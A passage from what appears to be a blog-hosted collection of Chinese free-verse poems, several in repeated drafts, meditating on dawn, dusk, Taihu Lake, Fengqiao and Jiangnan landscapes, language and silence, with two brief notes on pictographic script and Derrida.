竟然不如他那双生满老茧的手。那另外的一支 手，闲置了起来，像一个谜。我思索的一切不过 是头顶的铜墙铁壁。我是从缝隙偶然洒落进来的光， 室内由灯光带来同样浓郁的光线。一个人 在虚幻与虚幻之间，一个穿梭的事物是列车 那些否定的被它一一碾压而过。睁开眼睛的 你，意味着闭上了眼睛的其他所有的人。 这幸存者依靠此才能活下去的简单的逻辑。 正在生成的，或者我心领神会，这辆诺亚 方舟号，这一瞬间因为大地如水而瞬间成真。 黎明1128 《黎明》 孤独被说出了。两次， 最先来自内心的沉默。 当这样的注视，随后， 那整个世界对它的重复。 这使得我以为，世界 不过如此，世界只是一个 小小院子。院子里的石榴树， 甜的，酸的。和围绕它们的 空气。无形，笨拙的描述着 石榴树周围萦绕的东西。 我曾感激一般的种植下来 一株石榴树幼苗，触摸到了 脆弱的根茎，那时候，我， 是作为另外无形中的一个 而存在。大地之语言的山泉水， 土壤翻开，接着灌溉。 带着怀疑在这个清晨 被言说叫醒。你，人类， 叫醒了我。你孤独而美丽 赞美着自己，和自己的 无知的困惑。 黎明1129 黎明 《黎明》 被孤独的说出了两次， 最先来自心内的沉默。 当这样注视，随后， 整个世界对它的重复。 这使得我误以为世界 不过如此，世界只是个面前 小小院子。院子里石榴树， 甜的、酸的，和四周围绕的空气。 无形笨拙着描述石榴树的四周。 我曾感激般的种植下一株 石榴树幼苗。摸到了脆弱的 根茎。那时候，我是作为 另外无形中的一个而存在。 大地之语言的山泉水， 土壤翻开，接着灌溉。 带着怀疑在这个清晨 被言说叫醒。你，人类 叫醒了我。你因此孤独而美丽， 赞美自己，和自己无知的困惑。 黎明二1130 《黎明》 被孤独的说出了两次。就会 说出了一个人的心，和内脏。 胆寒暴露的真相:空空荡荡中 被面对着的我们正有所面对。 说出了一个人变成事物的过程， 早晨，一个人就会匆匆的赶来。 他起得早，整夜没有睡。一个 因为你言语而一分为二的人。 言语因一个人而不得不作了 一分为二表达。还没有完成， 言语一个不能跨过黎明界限的人。 走向土地耕耘收获的人们， 在眼前晃动。像可移动的植物， 扎根在土地，一切不值一提 才会以迷题的形式。 黎明二1131 黎明二 《黎明二》 被孤独的说出了两次。就会 说出了一个人的心，和内脏。 胆寒暴露的真相:空空荡荡中 被面对着的我们正有所面对。 说出了一个人变成事物的过程， 早晨，一个人就会匆匆的赶来。 他起得早，整夜没有睡。一个 因为你言语而一分为二的人。 言语因一个人而不得不作了 一分为二表达。日轮继续上升 刺破黑暗，如果没有它们 像一把切开来了的刀。没有的 一切正如同黑暗里面的一切， 平静为一切所充塞，解释性的话语 占据了一个的嘴唇和黎明梦境的持续。 像没有结束，因此愈发需要一个开始 灵隐寺1132 《灵隐寺》 这些人不说话，用沉默代替。 原因抛在脑后，脑后随即生风。 最后一次的开花，意味着祷慰。 在这之前那么多各色花朵，如今 纷纷进入了凋零，凋零着湮灭掉。 \/ 因此，表象示人以谜。智者 却始终没有被提及。或者 途径过灰黄色的院墙旁边时， 一丛丛野草，藤蔓，和地苔 没有名字，就是那位智者了。 \/ 智者，从一走到了“那”无名姓。 在我们的言语里面重新获得的给予了 我们新生。接着他因此又死了一次。 孕妇大腹便便，攀登山腰大殿之时， 正好与他一个轮回里面的枯黄的身影 擦肩而过。她已经累的汗流浃背 \/ 一句好似夏天，几近抵死人阿。况且 随口说出来是为了，套取僧人口中的 禅语，众妙之门中有枯坐短暂的位置 有人以婴儿作伏笔，一时之间，我觉得 任何的擦身而过，又是一件凶险，大胆 和勇敢的事情。 断章1133 《断章》 手，闲置了起来，像一个谜。 我思索的一切不过是头顶的 铜墙铁壁。我是从缝隙偶然 洒落进来的光，室内由灯光 带来同样浓郁的光线。一个 人在虚幻与虚幻之间，一个 穿梭的事物是列车那些否定 的被它一—碾压而过。睁开 眼睛的你，意味着闭上了 眼睛的其他所有的人。这 幸存者依靠此才能活下去的 简单的逻辑。正在生成的，或者 我心领神会，这辆诺亚方舟号， 这一瞬间因为大地如水而瞬间成真。 黄昏的夜1134 《黄昏的夜》 我记得，因而模糊，不如在别了处。 为了反抗这，而愁眉不展的在别处。 别处，远而干净。我的又一根枝条， 干嘛，你却思绪一般的想要和渴望。 因为这折断你青春细腰肢的回来， 如同这是最后一次，伴随着决裂发生过。 \/ 那么，面前这双手我也是不熟悉的。 面前这双手的表面就是我的脸庞，贴的很近。 今天傍晚我在。实际上我，最后匆忙， 犹豫间做出一个决定。我决定冒险。 被一双陌生的手带来的完整摸到了残缺， 如果我停下来，言语孤独，它依然完整， 它需要吟唱那些，没有代价付出的爱情。 吟唱自己存在于莫名，和并不矛盾之中的 幽所，我的眼睛黑夜里里面星星一样明亮。 \/ 秋风一阵阵的真，假一阵子，再一阵阵的 假起来了。吃过南方的第一口饭，剔着， 塞紧如丝的。我愿意在愿意里面，讲我愿意 而让那些讲如别人的讲，却无法克制的， 因他们的自然和偶尔。我接受，台阶向下， 暮色的哲理，背后升起，因为落下又升起。 \/ 他们入梦的很晚，会梦到我。 我采集他们现在路过的，楼宇和植物 被看到。他们也会梦到，遗忘推迟发生 不是第一次的，在梦也被遗忘的时候， 黄昏的夜晚写下:而它们一并发生。 太湖1135 《太湖》 海风来的去，需要人来。 秋天的海风，从唯唯诺诺中 把同样它不理解的寒冷表达。 在谈论和表达之间， 方法尽失。种植，耕耘，除草 代表了一切。我们紧随它们， 行走的信念，来到了海边 直到停留在了这里。 当两两呼应者中的一个 失去了自己，人总是要面对那些 令自己感到孤独的事物。 海风表达了这里，趁着人去它 那里的时候。海风吹拂我们感到 似曾相识的事物，为未曾见过 而歌者的人类。没有停下的海风 吹拂那空白之处，在人类劳作的 土地上面，结茧。 大地的井1136 《大地的井》 把沉默投下，以便安全的 事物就是这沉默。 在不必解释中投下， 测量着抵达，过程把底部提供。 幽深的洞窟因而向下着，没有了 尽头。我们因此可谈论的很多。 无限:从很多到达无限的戒备于 多的这一天。有关于清醒的冰冷的 谜团。谈论有了一个尽头， 世界对语言的关系，变为了爱。 那些过去的仇人，我曾经的伟大的 祖先，仇恨着世界上的存在过的 每一个人。我永恒为时间作指针的 祖先，无知的量度表盘。脸面怀念着 自己短暂离开的土地，变得枯黄。 我在庙宇和宗祠， 以爱的方式是否能够达成和解。 历史的遗训总是有关于同一个答案 你，现在我前面的人， 会因为解答了出来而目的地变成了 离我很远的别处。窥见我如同丝线 向你写信，提到它们。离你我很远， 时间是一条河，给动物和植物写信， 祖先呵，你是否梦到了， 从自己开始的人类的动植物的历史？ 大地的歌1137 大地之歌 《大地的歌》 我忽然觉得，诗人们，即使我不是。 他们会说，:就当我死亡，以此为开始的一切 一切都拒绝着重复，也像是开始，或它的投影。 太湖二1138 太湖二 《太湖二》 在她的另外一边，犹豫是确定的口吻。 如排浪，推开更多的犹豫，直到它们 停留在了确定无疑那处。它告知。一切、 宇宙是一样的。通过充盈，进而接着下降到 我们以呼吸所论证着，空气般的言语。 越来越像一个过去，如同越来越像是有另外 的一边。一个断然的确定带来了出发，像人的 自身的结构一样复杂，却在人思绪的焦虑之中， 当我走到与他并无二致的堤岸。现实中的河水， 被阻拦，而思想应是沉淀了，淤泥般我看见。 存在于任意的一个人，湖面便充满各种的视线。 这时的她，透过朦胧淡淡的雾气，穿过湖面 看到了我。一个人应现站在那里，停留以远词。 她也看到了，她看到花，想要说的最终会变成它。 无声里的对面就像从未曾提到对一片水域的感激， 在一切，没有因为你和我而结束的时候。正当 它们正慢慢的靠近了那里。一片广阔的水域， 和一个傍晚。看一眼便觉得寓意良多，不禁感叹。 太湖三1139 《太湖三》 如果，事物都有一个影子。影子 防止那扑身，或突然来临而毫无 征兆可言的衰老。摔了一阵莫须有 因而安全的空地，距离的一段。 激荡起来了，如到来的微风一般。 黑暗因此也有一个影子，不得不告知， 大地上的万物便都震颤，纷纷。如果因为 一句话，进而在天空看不到阴云的聚集， 白的太过于白的云彩，一片，走进了夜里。 对于黑，可疑的可讨论的它们， 不是那些，可是谁又能把自己的思想拒绝呢。 那些残忍的人于是立刻的原形毕露 被驱赶到了田野，荒凉的景象扑面而来。 黑暗里面笔直竖立的标志杆， 从未曾为他那自己身高的短促，所做的丈量。 未曾为这试图所打算一般的微弱的声响 犯罪一般对于那忏悔的行动后的表达了出来。 但是，还是会有的别的，因为夜色的漫长。 那些万物是黑暗的影子，我在影子里面。 在众人中看你但不指责你，在旷野上不如 一株植物。我挤进了黑暗，撕开它白天一般的口子。 江南的田野1140 《江南的田野》 在吗？ 如果你在劳作。 你的回答的不在 语言很少，比稀少还要严重。 贫瘠中裸露出了希望 相反的犹如一种错误 拖累了雨水。所以， 它们躲得很远。 它们也可以躲进语言里面的 夜晚——那在白天之后 就像一扇木门的沉默的摆在了那里 无数次的打开，吹来了的 是否就是我们可以去制造的风呢。 成熟来自于相比小孩而言的长大了 幸福放进了重复的但面貌并不一样的 语言里面。像我跟着你， 你总是能够找到我，这种关系 就像持续不断的写信，联系 我知道文字作为一切原委的本质 徐徐上升，就像它什么都不像的此刻了。 最后我再看一眼土地， 像可以看到你的旧日的影子 我把它接着放在了地上 我用沉默来暗示的赞美了太阳 如果影子并不倾斜，作为一个秘密 首先，它的这一部分出自于 完整的必要性，像它的彼此呼应的 另外的一部分。 太阳是倾斜的，总是傍晚 因为什么一下子被打开的它， 里面有白与黑，天空中降不下来的雨 无法落到地面上的，地面上雾气腾腾。 吴侬软语1141 《吴侬软语》 江南中的北， 带来了一个距离之上的消息。 于是火车上面充满了与讯息为伍的人们， 北方的暖正准备再一次的往语言里面 扎下根来。头朝下，如果中午如往常一般的 到来，推着的也是那个传统里面 同样隐秘的离去。看一眼这绿色的 山野维系的诗意，像它身边的蝴蝶的 翅膀。头朝下，还是。 如果中午还是没有人来喊你回家吃饭 你就可能一下子扎入了江南。 或许，你会从一串气泡上升的湖里面 探出头来。看着周围，感受水波。 鱼样历史的琴键分开一条鱼儿一段段的 在水上面的游走，直到它追逐着太阳 暴露了你，这个目标只有人类才可以做到 直到这变为了并不重要的本质， ————行走。因此没有停止的意思， 我问的便也是虚无之中。看着那问的 结果的本质，除非我相信完整是一种 谎言，假象。在并不绝对的一致的道路上面 行走，在温暖的很深里面被我们敲响了的 一扇门，它因为木头而那么美丽，与 斑驳谈恋爱，野花的我们，终于有了完整的 意思。门内的江南，一个不大不小的惊讶。 旧日1142 旧日 《旧日》 我在新上面爱你。希望你错听，因为那是细小之物 我也在心的上面，我看这些无法摆脱的命运。 接着远方，就像远方需要我，却借着有你的灯火。 \/ 你就是，点亮了它的意思重复了你， 仿佛它们没有了一个原因那样的真实。 仿佛因为夜色的这一个确实是漫长的本质， 出于没法避开，你，相向而行的人儿，推开了木窗。 水，树木，田野，和一个错误的，却温柔的位置。 \/ 我在回声的甬道里面，就像我在自己 穿起来的衣裳。我在人的名字被叫出， 因此隐藏了它们。我在脱中有一个新的我， 令人困惑的问题，。。。。。（遗忘），我的衣裳因此放在了横起来的铁质衣架上面。 白天是滑动的鱼儿，面对那铁质一般黑夜的尽头 睡梦可以听到这些，起初朦朦胧胧的声音 ————呵，语言 \/ 还是言语呢。白天还是黑夜呢。白 还是黑呢。直到你通过一封信件给出了 另外的一个。一次次的，我摸到到了你的黑色的 发梢。诞生了方法论，渴望的本体论的肉体 鲜活是一种面对着古老夜晚，一般的困惑。 杭州1143 《苏小小》 犹豫着直到那是确定的口吻。 遗失的词语，那么由她来说出。 误解，她的说出之中制造。 柔软的本质，纤细的腰肢，柳树 的三月垂下来了的近邻。 一个男人就是一个重复的需要和必要， 一个在二者之间无法区分和识别的人 酒水之后，粗鲁，释放着彼此之间 并不契合的野性。 误解有着温柔的本质，凭借着一盏灯火 越过了傍晚的山岗，看看地上的天长地久。 男人恍然大悟，化作了一段雾气。 女人身影萧瑟，你也只是一具空壳。 刻在石碑上的文字没有改变， 正对着语言之水的西湖，越过湖面 将一段爱情，偷偷的放在了湖心岛那里。 灵岩山的小路四1144 《灵岩山的小路四》 像旧日之中存在更深的地方 也像误解，但你已从中走出。 此时的你，将汗液，疲倦 与劫后余生相提并论。身体的 天平，被自己咬得很紧，那些 饥饿，不得不是我们乏味所谈起。 \/ 它与现实的距离，就像吃过晚饭的我 和傍晚之前的，那个我的距离。 等心绪稍有平复，我就越过它们， 在今夜的酒席之中，一个远来者 衣裳本就应该被风霜雪雨撕开。 \/ 在温柔乡里面你的记忆惨痛，失败。 突然来临的颤抖的记忆。记忆的鲜活， 一场如同闹剧一样的酒宴，就是一场 笙歌燕舞，觥筹交错最终的目的地。 阊门1145 《阊门》 宽阔之于外，拂晓于在人的嘴里面的城墙。 现实以令人失望的方式走动。走动在对人的 否定上面。连带出来的还是语言的困境 ————“他们”。人的梦境太容易被惊醒了， 人匆匆制造的谎言却可以以假乱真。 匆匆在停顿的辩解之中躲进了梦境里面的人儿， 我叫也叫不醒。隐隐约约，仿佛听到了 别人说的假话:“你怎么还在睡呢”。 自从游览的城墙令我扔下了枯燥和乏味 这样的词语。样子这样的词语的形式。 一节节的，攀登中也眩晕下降的可能。 口中的未来，我知道早已经在前方和高处， 因为过去而折弯。所造成的天空与地面干涸 共同后果，我却无法推开。推卸给自言自语 作为一个借口的人类。可蜂拥而至，推高那 登高望远，每个人的罪孽都在姑苏城 远处的翠柳莺啼中弯腰埋入草丛里面。 岂止于美好！我侧身为下来的人，让出通行， 我周身的梦境还没有结束，在别人的惊异的 话语里面，指出，这些被抖落的黎明名字被 叫做了傍晚。有着同样的颜色，昏暗。有着 历史不动停留在了叫做一天的，那一天到底 是哪一天的千年里面。 太湖九1146 《太湖九》 我交代，就像现在 最先交代现在就是眼前， 如果为了证明，和证明你并不愿意 你因此愿意耗尽一生去证明。 你在什么的好奇中崩溃， 那也只是我感激于那个人儿 可以是我。便是我正在回答 走在证明途中的人儿，沧桑的 困倦的你的一个问题。 失去了你，永恒就会有了在坍塌中， 我本能而慌忙，抛却了理性，感性 去托住的形象。 像我被傍晚的光辉撒了一身， 我现在光辉于黑夜的，大地上面 来一边把这个本质沉默掉。 像我爱着我自己粗鄙乡野的习惯， 像你如果想要找到了，通过河流， 村庄，田地和水库。 交代属于我生命的一部分交代了出来 和交代出来的借此那言语的困难。 你走路抵达的困难，便是生活 对于另外一个人的阻止而设置的困难 大自然的自然有多深呵， 现在趁着快要日落，傍晚般感激。 太湖九1147 《太湖九》 我交代，就像现在 最先交代现在就是眼前的意思。 如果为了证明，和证明你并不愿意 你因此愿意耗尽一生去证明。 你在“什么”的好奇中崩溃， 那也只是我感激于那个人儿 可以是我。便是我正在回答 走在证明途中的人儿，沧桑的 困倦的你的一个问题。 失去了你，永恒就会有了在坍塌中， 我本能而慌忙，抛却了理性，感性 去托住的形象。 像我被傍晚的光辉撒了一身， 我现在光辉于黑夜的，大地上面 来一边把这个本质沉默掉。 像我爱着我自己粗鄙乡野的习惯， 像你如果想要找到了，通过河流， 村庄，田地和水库。 交代属于我生命的一部分交代了出来 和交代出来的借此那言语的困难。 你走路抵达的困难，便是生活 对于另外一个人的阻止而设置的困难 大自然的自然有多深呵， 现在趁着快要日落，傍晚般感激。 树1148 《树》 宁静降临的时候， 还有一些多的，成为了剩余。 有着向上的力量，如果窗外的那一棵树 沉默，如果就是这一棵树时。 楼间公园1149 《楼间公园》 我能，因不能而其他着的时候。 生命的尽头仿佛一把量尺。 生命的此刻的遥远，我伸出 摸不到它的手。错误的不是空气 当它们无辜的绕着树木流动， 带回了罪孽。这是语言最尴尬的 时候。一次次的对着自己解释和劝慰 的人。我盯着任何的树木的清幽 像我一样以为会有一个果实一般答案 秋天里面的通行证，自然的小径上 一个个庸俗的人。在更换为了石子路的 楼宇中心花园的小径上面，称量我们 的信心，月亮一点点的将大部分的人， 在人类的个体里面首先的撑起。一点点的 被暗示的滑坡也是由同样的一群人。 从人类群体组成了的悠长的石子小径， 我不知道谁可以提出问题。当来源于 准备和语言复习的功课，除此之外再无 其他的可能。人类有时候就是因此剩下了 一张笑脸，她从另外的一头走了出来， 恍然衰老，遗忘了自己是谁。重新的准备 向身边人询问起。 枫桥镇十1150 《枫桥镇十》 太慢，仿佛慢到一个事物 就要沉入了没有尽头的前方。 而现实已经借此一撇，将这 一束光吞噬，残存在言语里面。 像很轻微的回音，像微微的风 从耳畔吹过。被我捕捉到了， 二者，组成了它完整的形象。 即使我依然感到了困惑不解 在夜晚的黑夜里面呆的时间， 超过了我的想象。我也能够思索 那些虚无，而坚固的形体仿佛就是 黑暗中树木的笔直。我能够 将二者归为同一，彼此并不矛盾， 冲突只是融合和统一的前兆， 当我闻到了这种带着误解的，花蕾 释放出来的味道。或者我已经在秋天 被误导，凋零作为一种开放， 我无法知道这种观点正确与否， 如果我能收到一个写着错误的回答， 并惭愧于人心的压抑，思索的贫瘠。 秋夜1151 《夜晚》 夜晚在往下沉，下沉， 直到告诉我这是假的。 从感觉费力区分出来的， 真。像突然的一刹那， 我赶紧跟随，推开窗户， 抬头看到了天空的星星 它们光芒。我来到了 虚假的源头。万物下沉， 晚星就慢慢的裸露了出来， 它们发光，照着一个人和 不止一件事情。照着这下沉 与遗留之间空白而出像是因果的 在它们被我说出之前，更早 我就这样的以为了。 孤山寺北1152 《孤山寺北》 他们沉默在傍晚喧嚣的内部。 当彩色云霞垂落，茶树的叶 向天空，椭圆形的伸出自己。 一个总被别的事纠缠的人，行走 在山路的崎岖上，偶尔停了下来， 为理顺，或者我们自己并不是颠倒 的肇事者，或者那早就发生了 他，我们停了下来，理顺了道路 让道路指向宁静的幽所，以我们 行走的方式。他以行走的方式，尝试着 试图揭开脱离之中的被掩盖的群体。 每每总需要先以矛盾，如同我们在 观看的仔细之中还是交出了游客 过客的身份。为这遗憾而不曾消失 如同为别的而叹息，却不可言喻。 当言说事实上已经因此而完成和 结束了，他，或者我们依然走着。 山林中的寺庙大门敞开着，当游客 们散尽，傍晚的余晖照耀着， 这些离开时候，缓慢而如同再次 来访的影子时。 枫桥镇十一1153 《枫桥镇十一》 太慢，仿佛慢到一个事物 就要沉入了没有尽头的前方。 而现实已经借此一撇，将这 一束光吞噬，残存在言语里面。 像很轻微的回音，像微微的风 从耳畔吹过。被我捕捉到了， 彼二者组成了它。在夜晚 我呆到了对于它，自己的困惑。 那是谁都因为夜色的流动而 在这跃跃欲试上面人们的走动。 它们包括了你我所担忧的一切。 为从对于此如同随后再次的补救 和弥合，因此未来仿佛已经有了 一个鸿沟，为我们所信以为的， 但它不大不小，为表示于此。无论 如何，因为距离我们始终有一段 路程。当今夜，我就以眼前的黑色视之。 枫桥镇十二1154 《枫桥镇十二》 傍晚照在人的身体上面， 发出人类思想一般但更加幽暗的反光。 我等待它更加昏沉，自己会裸露出什么。 而我的兴趣浓郁，更多，跟这个美丽黄昏 一样。世界之上的事物从远古开始了 彼此亲近的历程。所以，当远在近处滑落 一点点的黄昏的名字有着众多的替代者 我能从有关于结束的书籍里面，回想般的 重新把他们找回来。他们常新展示向着 人类的面貌，一点点的变幻成了， 时间中有关于德性为何一直会隐秘的问题。 当我们朗声的谈论，或者谈论这种因此的 更甚，或者之后结束陷入了沉默，使得一切 看起来像人类整体的问题。而我在傍晚， 单薄的身体向上攀登，我把那称之为“山”的 结果咽了下去，桂花树，槐树，河流干涸 石子裸露。因为人的走动，在那些同样 清晰的思绪里面。而我说出的话语原本是 另外的。 枫桥镇十三1155 《枫桥镇十三》 将它们联系，它们原本就为了 残缺而在一起，它们使得我 语言笨拙的占据了它们的未来吗。 未来与过去联系也联系在一起了， 怎么可能呢。有个傍晚一样匆忙的人 面对着这种神秘莫测又简单的的复杂 悲叹问讯的是让人离开的消息。 林中，秋风刮起了它信使的面目， 大地相应的为迟迟缓缓的影子的 投下，由我来语言的说出和表达。 对那些我只好容忍的错误， 在我蒙昧的时刻。饥饿正占据 了它，人类更加的热爱以世俗。 仿佛这样会涉及到哀愁的歌曲， 而它们的原因则来自过往的美好。 属于此刻的迷茫，准备注定一个 叫做了我，归往那空手的人。 而在事实的水平面和地平线， 升起者终将以下沉，当它离自己 的影子越来越近，是否需要以人类 来说出，所朝向的那目的地的时候。 北方的傍晚1156 《北方的傍晚》 太阳炙热于不可侵犯，北方入秋后的傍晚 天空昏黄，我的认识停留在了一个不可再前进的圆圈。 我的认识借着光明，之后事物沉入黑夜。 像消失不见了，心中存在着一声久久的叹息。 认识他自己的一个人，我在旷野我看到了他。 他被这种我袭扰着，陷于重复的泥潭。 在旷野空旷，一览无余，我迫切的需要事物， 一个陌生的人类站在那里，我猜不透他的 有趣的心思，忧伤的内部，像头顶的依然无法直视的太阳。 北方的傍晚二1157 《北方的傍晚二》 谷物想要沐浴在傍晚的夕阳里 就像山坡上的一个人:我。 我在对它们的收割之间犹豫不决着。 一个人让快结束的一天，突然坠入 到了它以怜悯的脆弱所组成的 道德里面。黄昏如此短暂的美， 比夏天的自己还要短暂。照耀着 枯黄色的谷物，田野，土地。 最终交出了叫做黑夜的这样一种 暂时妥协的方法。我缓缓的， 走下了山坡。 北方的傍晚三1158 《北方的傍晚三》 谷物想要沐浴在傍晚的夕阳里 就像山坡上的一个人:我。 我沐浴在由它们和夕阳一同构成的傍晚里面， 在对它们的收割之间犹豫不决着， 就像秋天的风吹过，谷子微微晃动。 快结束了，一天突然让一个人坠入 到了他以脆弱的怜悯所组成的 勉力道德，言说沉默的形式。 黄昏如此短暂的美抚平了一切矛盾， 比夏天的自己还要短暂。最后的一抹 光来自于枯黄色的谷物，田野和土地。 我缓缓下山，是因为它最终交出了 叫黑夜的那样一件耳熟能详的东西， 谷物无声，当我真正的走过了它们身边。 枫桥镇十三1159 《枫桥镇十三》 我想停一停，喧嚣没有在它们之中了。 它们在喧嚣之中，寂静这个奇怪的名字。 危机解除，语言平静，变得，特别的像， 特别的不像对于此进行的复述，尽管我曾在 里面行动一般的比言说要慢的多。没有的时候， 我走在落满了秋叶的地上，每踩出它嘎嘎响 那停下来了的一步，在它还没有发生的时候。 北方的傍晚四，五1160 北方的傍晚五 《北方的傍晚五》 是我还是存在本身，是填补 以使得它看起来平整如同无物了。 我在上面走动，发出了疑问？ 我离开，直到离开这更靠近着的它。 我看到巨大的树木高耸入云端， 在远方也能够看到，心感惊讶。 浓阴于只有远方这例外，并且 在于这，令人厌倦的说出之中， 最后是为语言所做了结束的:之中。 是我还是存在，如果那只是一个无辜的念头 就像人挣扎在光影交错，充满了规则的世界。 只能以纯粹感觉的盲目姿态，欢乐。 我于是更欢乐于，这种跟跟树，跟距离的 有关系。我被感染普通任何空洞无物之物 傍晚，一颗巨大的树木，有着巨大的阴影 我走向远方，离开了这里。 《北方的傍晚四》 在和树的距离之中，我徒劳的弥补着 那些陷于距离之中的思绪和偏见。 手，在属于了我的这种确定之后 举起，像一定举起什么了。再次的举的很高。 在大地上投下的阴影，是我心里面语言说出后 残存的印记。不像太阳会把它们都燃烧殆尽。 而我的像，一定不会无所着落。充分自Y的 走动在对于它的搅乱之中。语言喋喋不休 沉默是它的短暂的，和另外的某一种形式。 我无法维系这种短暂的静态的画面，我感到了 或许因为人的所感而它以逝去的方式，将它 表现出来。静止里面附在我举起的手臂上面， 像原本就是属于我的，在自然里面它们被神秘 难以言喻的一一归属于，破坏性的那人类的一刻。 枫桥镇十五1161 《枫桥镇十五》 被我当做了对象来思索的， 昨天的我，需要越过很多的事物。 昨天的我于是发出了一声叹息， 并面对着复杂的，具体却又内部 如同未来一般空虚的景物和路程。 它们是，今天的树木，山坡，田地， 困惑和疲倦。赞美时间格尽职守， 也为意外和例外而光芒更盛。当它 置于天空之上，是燃烧着的太阳以 看似毫无关联的方式。这种伟大布景 为我所获知，同时它们的繁多由单一 而来。伟大的深邃，我从平静中走脱， 今天我无法将此刻的自己当做一个对象， 在昨天，在未来，在意思隐隐而出，就 快要失败的时候。它薄如蝴蝶的透明翅膀 是时间透明形态之中，那准则的万物之一 一个为其发声者的普通。 枫桥镇十六1162 《枫桥镇十六》 被我当做了对象，如此好来思索。 但昨天的我并没有完成，需要越过 很多的事物，绝非一种残缺，心底 随后留下遗憾来。昨天的我，发出 一声对于因果和时间无力的叹息， 头脑蒙昧，向祈求未来着。面对 复杂、具体内部却又未来般空虚的 景和路程。它们是，此刻因为树木， 山坡，田地而在困惑和疲倦之中 被隐晦的表达。被我的耳朵从 寂静里面费力的听了出来。我赞美 时间，格尽职守的永恒使者。它也为 意外和例外光芒变得更盛。当它 置于天空之上，是燃烧着的太阳以 看似毫无关联的形式。这种伟大布景， 为我所获知，同那它们由单一而来的 繁多一起将伟大的深邃呈现。我无法 将此刻的自己当做一个对象，我无法 接着再继续生出这种想法了。而彻底 湮灭的事物和虚无都呈现在了我的眼前。 为黑色的夜晚，作为那同一者的歌曲， 为从我此刻，在接近于暮色沉沉的此刻， 依然无法将它们参透。月轮爬上山坡， 那是像白天一样，另一个伟大的序曲。 枫桥镇十七1163 《枫桥镇十七》 我的阅读，在为他那过去的埋首案牍 埋葬般的安静。有个叫做过去的身影 便一闪而过。灯随着夜晚打开， 为读的润色的这一个，并不是唯一 并且特别。粗鲁的人们一一都是我了 我听到夜晚的寂静，隐隐中的声音 来自于心灵，而夜晚是摆脱了喧嚣的。 书籍已经在书桌上摊开，左右的两部分。 代表了很多不同的事物，写的人面对着 一张又一张空白的纸，他思考的时间的 本质，是灯火下，密密麻麻的文字被我看到。 枫桥镇十八1164 《枫桥镇十八》 让话语存在，持续的。 你我一起让我们所争论的它， 争论结果是否意味着一切的终结。 慢下来的我们，发现，警觉 慢已经于事无补。生出一种妥协 的感觉。我们质疑自己的话语， 就像此刻它由我打结的舌头来说出， 一切都在既来之则安之之中， 包括我心中隐藏着的对例外的期待 当慢慢的我们已经在了结果之中 它们依然没有湮灭掉。 枫桥镇十九1165 《枫桥镇十九》 让话语存在，持续的，断裂的声音 偶尔发出。大自然有更加辽阔的寂静。 你我一起让我们所争论的， 争论结果是否就意味着一切的结束。 但我们发现，警觉，慢已经于事无补。 随即生出了一种妥协顺从的想法。 我们质疑自己的话语，就像此刻 它由我打结的舌头来说出。 一切都在既来之则安之之中， 包括我心中隐藏着的对例外的期待 当慢慢的我们已经在了结果之中 它们依然没有湮灭掉。 夜晚1166 《夜晚》 事物是静止的白天，迟缓移动着。 是白天里一盏黑色光芒的灯。 放入了失去效力的夜晚，变成了白色。 通过这盏灯，我仔细的观察，我是否 能确信无疑的喊出，黑与白的不同。 正如这正是我现在所说的内容， 沉默正是那个静止的事物。 象形文字的戏台搭建本质1167 [cp]象形文字慢慢的有了一种对戏曲舞台进行搭建的本质汉族人用象形文字在大地上进行了戏台的搭建。————德里达的结构是什么————“声音”如果是从戏台上传下来的，被老百姓听到的声音呢。那么《论文字学》是否可以在象形文字的戏台搭建的本质属性这里，有所不同？[\/cp] 象形文字而不是汉语1168 [cp]象形不是一种结构而是搭建，搭建性的象形文字连接了大地，使得一切西方形而上的，认识论的，神秘主义的都附属于戏曲舞台上的表演。————德里达:“中国没有哲学”。————“声音”如果是从戏台上传下来的，被老百姓听到的声音呢。那么《论文字学》是否可以在象形文字的戏台搭建的本质属性这里，有所不同？————“在地上（以象形文字的形式）搭建起来了一个中国戏曲的戏台”是什么意思？————搭建戏台的不是木头柱子，石头，泥土，而首先是【象形文字】。是象形文字而不是汉语，不是语言。————海德格尔:“语言是存在的家”\/维特根斯坦的语言（只是）工具论[\/cp] 傍晚1169 《傍晚》 它曾经被如此详细的 称作了众多事物的阴影。 随着对于此描述的话语 流逝，从那沉默再没有了开始。 如今这缠绕的一切再次开始。 那些声音却并没有再次的开始。 开始，我在傍晚把它 在树丛旁边的静默之中 端起为了一个主要的命题。 透过太阳光有神秘的印象。 或者我找不到了其他的词语， 它们，纷纷失败。在我的 思想中的正是这一切。 我感到疲乏，之后偶尔有一阵 短暂的轻松。 傍晚的1170 《傍晚的》 组成了历史的是时间，琐碎的， 在一个人不断裂的生命之中。 最开始“他”的呼唤的这一声意味着 现在的别的。我回想 那些发生在我的身上的， 啼哭如同同时有什么欲离去。 那是被我们释怀因它们的难以去表达。 修辞和遗忘，就像现在的山峦 借助夕阳投下彼此相隔的影子。 我在山坡上怀有着有关于此刻的心情。 忧伤，放松，忧愁，猜测是否欢喜也是 一种可能，如果最后只有它才可以 拨弄着心弦，我们是被拨弄之物。 请将思索的这件外衣披上， 请为微凉的秋天也披上庄稼的外衣。 收割之后以光秃所带来的允诺， 给予人类和我，给同一个东西 以不同。在我的思想的贫瘠之中 随后如同晴朗天空所遮挡起来了雨水 而不是在于别处。我的双目因而放下 我意识到了身体的疲乏具有意义的重大 给予了一个人，一同沉入黑夜， 那待在原地的悬而未决的成为了意义。 傍晚的1171 《傍晚的》 夕阳百般模样。光芒映照下的判断 犹如吐露。当光芒映照田野与丘陵， 直到距离成为了一种可能，语言般的 却在人的嘴唇上停留，接受着对于自己 言语般的吹拂。显示了缓慢色泽的判断 已经结束，人有一点急躁。 有一会他们是安静的，得到了所需要的。 我想起人不是容易满足的生物的这句话 始终无法真正的理解，我轻易说出的 真理而言，那一切虚无的本质，在眼前的 事物的背后。在夜晚直到它的深处， 没有人获知的时刻从这里开始。真理的 遗失之夜，一层层面纱，由一个人 被错误的称作了肇事者开始。 傍晚的1172 《傍晚的》 彼此的需要，放松变作了人类永恒遗产。 当它使得彼此显得孤单，在我们的谈论之中。 一个出自所愿的神话。它带着不可解， 答案的混凝土。混合在空气的上午的回忆里面。 流逝的人的烙印，肉体的黄褐色印象。 盖下及时能够修改，落下比内容更重要的印戳。 一页，一页直到，纸的无形的一页一页的。 在答案之夜的吞咽前，并不是真相迟缓的 此刻的这样一个傍晚。我重复，像真相的回声。 声音像传遍四周山野的风。但我在自己身边的 寂静里面。岩石上栖居着我的 宁静的判断。在我平静语气的岩石的 栖居上，带来了人的从未曾孤单。 我为文字发愁，是一个不合格的酒鬼。 我是说那因此已独自走到深处的真相， 